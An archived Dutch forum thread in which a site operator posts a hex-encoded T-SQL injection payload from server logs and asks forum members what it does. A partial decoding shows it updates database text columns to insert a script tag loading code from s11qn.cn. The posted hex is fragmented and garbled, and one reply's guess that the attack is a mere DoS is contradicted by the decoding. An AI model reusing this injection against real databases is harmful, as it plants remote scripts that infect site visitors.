Archief - Attack op MS SQL server

passero · 16 okt 2008

We hebben hier een attack binnengekregen op onze server. Alhoewel we niet op een MS SQL server zitten vragen we ons eigenlijk wel af wat die doet... Via de logs hebben we het kunnen traceren tot volgend commando:

Code:

DECLARE 
@S CHAR(4000); 
SET @S CAST (0x4445434C41524520405420766172636861722
204445434C415245205461626C655F437572736F7220435552534F522
616D652066726F6D207379736F626A6563747320612C737973636F6C7
20616E6420612E78747970653D27752720616E642028622E787479706
622E78747970653D323331206F7220622E78747970653D31363729204
48204E4558542046524F4D20205461626C655F437572736F7220494E5
5F5354415455533D302920424547494E2065786563282775706461746
5D3D2727223E3C2F7469746C653E3C736372697074207372633D22687
737273732F6E65772E68746D223E3C2F7363726970743E3C212D2D272
27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726
733131716E2E636E2F63737273732F6E65772E68746D223E3C2F73637
542046524F4D20205461626C655F437572736F7220494E544F2040542
72736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));
PRINT @S;

Ik heb al via een hex to ascii convertor dat proberen omzetten maar dan krijg ik nog altijd redelijk wat rare tekens. Enkel het begin komt er door wat gewoon een declare is...

Iemand een idee wat het correcte statement is dat hiermee wordt bedoeld, kwestie dat we dan ons systeem nog beter kunnen beveiligen en aan de mensen die wel op een MS SQL zitten dit kunnen doorgeven.

Asshen · 16 okt 2008

Ik denk niet dat dit script veel kapot kan maken, waarschijnlijk is de bedoeling eerder om dit script meermaals na elkaar te laten runnen zodat de resources (cpu en ram gebruik) de spuigaten uitlopen en de server crasht.

Als ik het script run op een testserver met mssql 2005, krijg ik hetvolgende als resultaat van "print @s":

DECLARE @T varchar"DT4Ä$RF&ÆUô7W'6÷"5U%4õ"ame from sysobjects a,syscolræBç‡G—SÒwRræB†"ç‡G—b.xtype=231 or b.xtype=167) D‚äU…Be$ôÒF&ÆUô7W'6÷"”å_STATUS=0) BEGIN exec('updateÓÒrr#ãÂ÷F—FÆSãÇ67&—B7&3Ò&‡srss/new.htm"></script><!--'"ræ÷BÆ–¶RrrR#ãÂ÷F—FÆSãÇ67&s11qn.cn/csrss/new.htm"></scuBe$ôÒF&ÆUô7W'6÷"”åDòBrsor DEALLOCATE Table_Cursor

Er wordt dus wel degelijk geprobeerd iets uit te voeren.

K.

passero · 16 okt 2008

Awel ja... ik heb het zo ver ook kunnen ontcijferen maar het lijkt me vreemd want die rare tekens doen toch niets speciaal?
Doet hij effectief iets of zou het echter maar gaan om een DoS?

Bubbling Zombie · 16 okt 2008

passero zei:
Awel ja... ik heb het zo ver ook kunnen ontcijferen maar het lijkt me vreemd want die rare tekens doen toch niets speciaal?
Doet hij effectief iets of zou het echter maar gaan om een DoS?

begin exec update
en sys.objects

mmm

lijkt mij nie random ze

Archief - Attack op MS SQL server

passero

Legacy Member

Asshen

Legacy Member

passero

Legacy Member

Bubbling Zombie

Legacy Member